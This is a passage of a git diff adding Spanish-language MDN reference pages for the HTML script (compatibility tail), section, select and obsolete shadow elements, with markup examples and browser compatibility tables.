+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>defer attribute</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>
+    <p>4[3]<br>
+     10</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>crossorigin attribute</td>
+   <td>{{CompatChrome(30.0)}}</td>
+   <td>{{CompatGeckoDesktop("13")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.50</td>
+   <td>{{CompatVersionUnknown}}<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td>integrity attribute</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatGeckoDesktop("43")}}</td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>async attribute</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("1.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>defer attribute</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>integrity attribute</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatGeckoDesktop("43")}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatChrome(45.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In older browsers that don't support the <code>async</code> attribute, parser-inserted scripts block the parser; script-inserted scripts execute asynchronously in IE and WebKit, but synchronously in Opera and pre-4.0 Firefox. In Firefox 4.0, the <code>async</code> DOM property defaults to <code>true</code> for script-created scripts, so the default behavior matches the behavior of IE and WebKit. To request script-inserted external scripts be executed in the insertion order in browsers where the <code>document.createElement("script").async</code> evaluates to <code>true</code> (such as Firefox 4.0), set <code>.async=false</code> on the scripts you want to maintain order. Never call <code>document.write()</code> from an <code>async</code> script. In Gecko 1.9.2, calling <code>document.write()</code> has an unpredictable effect. In Gecko 2.0, calling <code>document.write()</code> from an <code>async</code> script has no effect (other than printing a warning to the error console).</p>
+
+<p>[2] Starting in Gecko 2.0 {{geckoRelease("2.0")}}, inserting script elements that have been created by calling <code>document.createElement("script")</code> into the DOM no longer enforces execution in insertion order. This change lets Gecko properly abide by the HTML5 specification. To make script-inserted external scripts execute in their insertion order, set <code>.async=false</code> on them.</p>
+
+<p>Also, {{HTMLElement("script")}} elements inside {{HTMLElement("iframe")}}, {{HTMLElement("noembed")}} and {{HTMLElement("noframes")}} elements are now executed, for the same reasons.</p>
+
+<p>[3] In versions prior to Internet Explorer 10 Trident implemented <code>&lt;script&gt;</code> by a proprietary specification. Since version 10 it conforms to the W3C specification.</p>
+
+<p>[4] The <code>crossorigin</code> attribute was implemented in WebKit in {{WebKitBug(81438)}}.</p>
+
+<p>[5] {{WebKitBug(148363)}} tracks WebKit implementation of Subresource Integrity (which includes the <code>integrity</code> attribute).</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("document.currentScript")}}</li>
+ <li><a href="http://pieisgood.org/test/script-link-events/">Ryan Grove's &lt;script&gt; and &lt;link&gt; node event compatibility chart</a></li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/section/index.html b/files/es/web/html/elemento/section/index.html
new file mode 100644
index 0000000000..3a68adbae3
--- /dev/null
+++ b/files/es/web/html/elemento/section/index.html
@@ -0,0 +1,143 @@
+---
+title: section
+slug: Web/HTML/Elemento/section
+translation_of: Web/HTML/Element/section
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento de <em>HTML section</em> (<code>&lt;section&gt;</code>) representa una sección genérica de un documento. Sirve para determinar qué contenido corresponde a qué parte de un esquema. Piensa en el esquema como en el índice de contenido de un libro; un tema común y subsecciones relacionadas.  Es, por lo tanto, una etiquéta semántica. Su funcionalidad principal es estructurar semánticamente un documento a la hora de ser representado por parte de un agente usuario. Por ejemplo, un agente de usuario que represente el documento en voz, podría exponer al usuario el índice de contenido por niveles para navegar rápidamente por las distintas partes.</p>
+
+<div class="note">
+<p><em>Notas de uso:</em></p>
+
+<ul>
+ <li>Si la intención es indicar el contenido de un elemento {{HTMLElement("section")}} , es mejor usar el elemento {{HTMLElement("article")}} en su lugar, a modo de artículos independientes como en las revistas. {{HTMLElement("section")}} está diseñado para contenidos dependientes, pero diferenciados.</li>
+ <li>No se debe usar el elemento {{HTMLElement("section")}} como un mero contenedor genérico; para esto ya existe {{HTMLElement("div")}}, especialmente si el objetivo solamente es aplicar un estilo (CSS) a la sección. Como regla general, el título de una sección debería aparecer en el esquema del documento.</li>
+</ul>
+</div>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Contenido permitido</td>
+   <td><a href="/en/HTML/Content_categories#Flow_content" title="en/HTML/Content Categories#Flow content">Contenido dinámico</a></td>
+  </tr>
+  <tr>
+   <td>Omisión de etiquetas</td>
+   <td>Ninguna, tanto la etiqueta de apertura como la de cierre son obligatorias.</td>
+  </tr>
+  <tr>
+   <td>Elementos padres permitidos</td>
+   <td>
+    <p>Todo elemento que acepte <a href="/en/HTML/Content_categories#Flow_content" title="en/HTML/Content Categories#Flow content">contenido dinámico</a>. Nótese que un elemento {{ HTMLElement("section") }} no debe ser descendiente de un elemento {{ HTMLElement("address") }}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Documento normativo</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-section-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-section-element">HTML5, sección 4.4.2</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento carece de otros atributos fuera de los <a href="/en/HTML/Global_attributes" rel="internal">atributos globales</a>, que son comunes a todos los elementos.</p>
+
+<h2 id="Interfaz_del_DOM">Interfaz del DOM</h2>
+
+<p>Este elemento implementa la interfaz <code><a href="/en/DOM/element" title="en/DOM/element">HTMLElement</a></code>.</p>
+
+<h2 id="Ejemplo_1">Ejemplo 1</h2>
+
+<h3 id="Antes_de_HTML5">Antes de HTML5</h3>
+
+<pre class="line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;Encabezado</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span></code>Un montón de contenido impresionante.<code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="con_HTML5">con HTML5</h3>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>section</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;</span></span></code><code>Encabezado</code><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span></code>Un montón de contenido impresionante.<code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>section</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Ejemplo_2">Ejemplo 2</h2>
+
+<h3 id="Antes_de_HTML5_2">Antes de HTML5</h3>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;Encabezado</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"roble</span>.jpg<span class="punctuation token">"</span></span> <span class="attr-name token">alt</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"un roble</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="con_HTML5_2">con HTML5</h3>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>section</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>Encabezado<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"roble</span>.jpg<span class="punctuation token">"</span></span> <span class="attr-name token">alt</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"un roble</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>section</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Móvil (Gecko)</th>
+   <th>IE Móvil</th>
+   <th>Opera Móvil</th>
+   <th>Safari Móvil</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.2</td>
+   <td>{{ CompatGeckoMobile("2.0") }}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0 (iOS 4.2)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Otros elementos relacionados: {{ HTMLElement("body") }}, {{ HTMLElement("nav") }}, {{ HTMLElement("article") }}, {{ HTMLElement("aside") }}, {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}, {{ HTMLElement("hgroup") }}, {{ HTMLElement("header") }}, {{ HTMLElement("footer") }}, {{ HTMLElement("address") }};</li>
+ <li class="last"><a class="deki-ns current" href="/en/Sections_and_Outlines_of_an_HTML5_document" title="en/Sections and Outlines of an HTML5 document">Secciones y esquemas de un documento en HTML5</a>.</li>
+</ul>
diff --git a/files/es/web/html/elemento/select/index.html b/files/es/web/html/elemento/select/index.html
new file mode 100644
index 0000000000..edaf0488ab
--- /dev/null
+++ b/files/es/web/html/elemento/select/index.html
@@ -0,0 +1,198 @@
+---
+title: <select>
+slug: Web/HTML/Elemento/select
+tags:
+  - Elemento
+  - Formulario(2)
+  - HTML
+  - Referencia
+  - Web
+  - formularios html(2)
+translation_of: Web/HTML/Element/select
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento select (<code>&lt;select&gt;</code>) de HTML representa un control que muestra un menú de opciones. Las opciones contenidas en el menú son representadas por elementos {{HTMLElement("option")}}, los cuales pueden ser agrupados por elementos {{HTMLElement("optgroup")}}. La opcion puede estar preseleccionada por el usuario.</p>
+
+<h2 id="Contenido">Contenido</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content categories">Content categories</a></td>
+   <td>Elementos <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>, <a href="/en-US/docs/HTML/Content_categories#Interactive_content" title="HTML/Content categories#Interactive content">interactive content</a>, <a href="/en-US/docs/HTML/Content_categories#Form_listed" title="HTML/Content categories#Form listed">listed</a>, <a href="/en-US/docs/HTML/Content_categories#Form_labelable" title="HTML/Content categories#Form labelable">labelable</a>, <a href="/en-US/docs/HTML/Content_categories#Form_resettable" title="HTML/Content categories#Form resettable">resettable</a>, y <a href="/en-US/docs/HTML/Content_categories#Form_submittable" title="HTML/Content categories#Form submittable">submittable</a> <a href="/en-US/docs/HTML/Content_categories#Form-associated_" title="HTML/Content categories#Form-associated ">form-associated</a>.</td>
+  </tr>
+  <tr>
+   <td>Contenido permitido</td>
+   <td>Uno o mas elementos {{HTMLElement("option")}} o {{HTMLElement("optgroup")}}.</td>
+  </tr>
+  <tr>
+   <td>Omisión de etiquetas</td>
+   <td>Ninguna, ambas etiquetas son obligatorias</td>
+  </tr>
+  <tr>
+   <td>Elementos padre permitidos</td>
+   <td>Cualquier elemento que permita phrasing content.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento incluye </span><a href="/en-US/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo permite especificar un formulario de control que debería tener enfoque de entrada cuando se carga la página, a no ser que el usuario lo sobreescriba, por ejemplo, escribiendo un control diferente. Solo un elemento formulario puede tener el elemento de enfoque de entrada por documento, por lo cual es un atributo booleano.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>El atributo booleano especifica que el usuario no puede interactuar con el control. Si este atributo no está especificado, el control hereda los ajustes del campo que lo contiene, por ejemplo del fielset; si no hay elemento contenido con el atributo disabled, entonces el control se considera enable (activado).</dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>El elemento formulario al cual el select está asociado (su propietario del formulario). Si este atributo está especificado, su valor deberá ser el ID de un formulario en el mismo documento. Esto te permite situar elementos en cualquier parte del documento, no solo de manera descendiente con respecto a su elemento formulario.</dd>
+ <dt>{{htmlattrdef("multiple")}}</dt>
+ <dd>Este elemento booleano indica que se pueden seleccionar múltiples opciones de la lista. Si no está especificado, solo se podrá seleccionar una opción cada vez.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>El nombre del elemento de control.</dd>
+ <dt>{{htmlattrdef("required")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Es un elemento boooleano que indica si la opcion puede quedar sin seleccionar o si es requerida.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>Si el control se presenta como una lista con scroll en caja, este atributo representa el numero de filas que la list tendrá visible la primera vez. Los navegadores no están requeridos a presentar un elemento select como una lista con escroll en caja. El valor por defecto es cero.</dd>
+</dl>
+
+<div class="note"><strong>Nota de Firefox: </strong>De acuerdo con las especificaciones de HTML5, el tamaño por defecto debe ser 1; sin embargo, en la práctica, esto hace que se rompan algunas páginas webs, y ningun otro navegador actualmente hace esto, así que Mozilla ha optado por continuar usando 0 desde que empezó con Firefox.</div>
+
+<dl>
+</dl>
+
+<h2 id="DOM_Interface">DOM Interface</h2>
+
+<p>Este elemento implementa la interfaz <code><a href="/en-US/docs/DOM/HTMLSelectElement" title="DOM/select">HTMLSelectElement</a>.</code></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;!-- The second value will be selected initially --&gt;
+&lt;select name="select"&gt;
+  &lt;option value="value1"&gt;Value 1&lt;/option&gt;
+  &lt;option value="value2" selected&gt;Value 2&lt;/option&gt;
+  &lt;option value="value3"&gt;Value 3&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p><select name="select"><option value="value1">Value 1</option><option selected value="value2">Value 2</option><option value="value3">Value 3</option></select></p>
+
+<h3 id="Notas">Notas</h3>
+
+<p>El contenido de este elemento es estático y no <a href="/en-US/docs/HTML/Content_Editable" title="HTML/Content_Editable">editable</a>.</p>
+
+<p>El siguiente ejemplo muestra como simular una lista con opciones editables, pero ten cuidado ya que algunos lectores de pantallas y dispositivos de ayuda no lo interpretarán de forma correcta; este ejemplo sería html inválido si usas los elementos correctos:</p>
+
+<p><a href="/files/4563/editable_select.html" style="line-height: 1.5;" title="Simulating an editable select through a fieldset of radioboxes and textboxes">This is an example</a> de un select editable mediante un<span style="line-height: 1.5;"> {{HTMLElement("fieldset")}} de </span><a href="/en-US/docs/HTML/Element/Input" style="line-height: 1.5;" title="HTML/Element/Input">radioboxes</a><span style="line-height: 1.5;"> y </span><a href="/en-US/docs/HTML/Element/Input" style="line-height: 1.5;" title="HTML/Element/Input">textboxes</a><span style="line-height: 1.5;"> (<strong>escrito en CSS puro</strong></span><span style="line-height: 1.5;">, sin JavaScript), </span></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-select-element', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>required</code> attribute</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoMobile("1.0")}} [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>required</code> attribute</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<p>[1] En la aplicación navegador para Android 4.1 (y posiblemente en versiones posteriores), hay un error cuando el menu triangulo indicador al lado de un elemento {{HTMLElement("select")}} no se muestra si {{ cssxref("background") }}, {{ cssxref("border") }}, o {{ cssxref("border-radius") }} estilos están aplicados al {{HTMLElement("select")}}.</p>
+
+<p>[2] Firefox para Android, por defecto, establece un {{ cssxref("background-image") }} gradiente en todos los elementos <code>&lt;select multiple&gt;</code>. Esto puede desactivarse usando  <code>background-image: none</code>.</p>
+
+<p>[3] Históricamente, Firefox ha permitido eventos de teclado y ratón para mostrar desde el elemento <code>&lt;option&gt; al elemento padre </code>{{HTMLElement("select")}}. Esto no ocurre en Chrome, sin embargo, aunque este comportamiento sigue apareciendo de manera incosciente en muchos navegadores. Para una mayor compatibilidad Web (y por razones técnicas), cuando Firefox está en modo multitarea el elemento <code>&lt;select&gt;</code> se muestra como una lista descendente. Este comportamiento se produce sin cambios si <code>&lt;select&gt;</code>se presenta como elemento en línea y tiene multipleas atributos definidos o tiene un atributo de tamaño cuyo valor sea mayor que uno. Mejor que ver el elemento <code>&lt;option&gt;</code> para eventos, debería mirar el elemento de enventos {event("change")}} en {{HTMLElement("select")}}. Ver {{bug(1090602)}} para detalles.</p>
+
+<p>Tanto Chrome como Safari ignoran {{cssxref("border-radius")}} en los elementos {{HTMLElement("select")}} a no ser que {{cssxref("-webkit-appearance")}} esté invalidado a un valor apropiado.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otros elementos relacionados de formularios: {{HTMLElement("form")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("option")}}, {{HTMLElement("datalist")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elemento/shadow/index.html b/files/es/web/html/elemento/shadow/index.html
new file mode 100644
index 0000000000..bd3cc37616
--- /dev/null
+++ b/files/es/web/html/elemento/shadow/index.html
@@ -0,0 +1,152 @@
+---
+title: <shadow>
+slug: Web/HTML/Elemento/Shadow
+translation_of: Web/HTML/Element/shadow
+---
+<p>{{obsolete_header}}</p>
+
+<p><span class="seoSummary">El <strong>HTML <code>&lt;shadow&gt;</code> element</strong>—es una parte absoluta de la suite tecnológica de <a href="/en-US/docs/Web/Web_Components">Web Components</a> —estaba destinado a ser utilizado como un shadow DOM {{glossary("insertion point")}}. Es posible que lo hayas usado si has creado varias root shadow bajo un shadow host. No es útil en HTML ordinario.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content_model">Transparent content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts flow content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLShadowElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Aquí está un ejemplo simple usando el  <code>&lt;shadow&gt;</code> element. Es un archivo HTML con todo lo necesario en él.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This is an experimental technology. For this code to work, the browser you display it in must support Web Components. See <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">Enabling Web Components in Firefox</a>.</p>
+</div>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;&lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;!-- This &lt;div&gt; will hold the shadow roots. --&gt;
+  &lt;div&gt;
+    &lt;!-- This heading will not be displayed --&gt;
+    &lt;h4&gt;My Original Heading&lt;/h4&gt;
+  &lt;/div&gt;
+
+  &lt;script&gt;
+    // Get the &lt;div&gt; above with its content
+    var origContent = document.querySelector('div');
+    // Create the first shadow root
+    var shadowroot1 = origContent.createShadowRoot();
+    // Create the second shadow root
+    var shadowroot2 = origContent.createShadowRoot();
+
+    // Insert something into the older shadow root
+    shadowroot1.innerHTML =
+      '&lt;p&gt;Older shadow root inserted by
+          &amp;lt;shadow&amp;gt;&lt;/p&gt;';
+    // Insert into younger shadow root, including &lt;shadow&gt;.
+    // The previous markup will not be displayed unless
+    // &lt;shadow&gt; is used below.
+    shadowroot2.innerHTML =
+      '&lt;shadow&gt;&lt;/shadow&gt; &lt;p&gt;Younger shadow
+       root, displayed because it is the youngest.&lt;/p&gt;';
+  &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>If you display this in a web browser it should look like the following.</p>
+
+<p><img alt="shadow example" src="https://mdn.mozillademos.org/files/10083/shadow-example.png" style="height: 343px; width: 641px;"></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>This element is no longer defined by any specifications.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td>{{CompatGeckoDesktop("28")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] If Shadow DOM is not enabled in Firefox, <code>&lt;shadow&gt;</code> elements will behave like {{domxref("HTMLUnknownElement")}}. Shadow DOM was first implemented in Firefox 33 and is behind a preference, <code>dom.webcomponents.enabled</code>, which is disabled by default.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components">Web Components</a></li>
+ <li>{{HTMLElement("content")}}, {{HTMLElement("slot")}}, {{HTMLElement("template")}}, {{HTMLElement("element")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
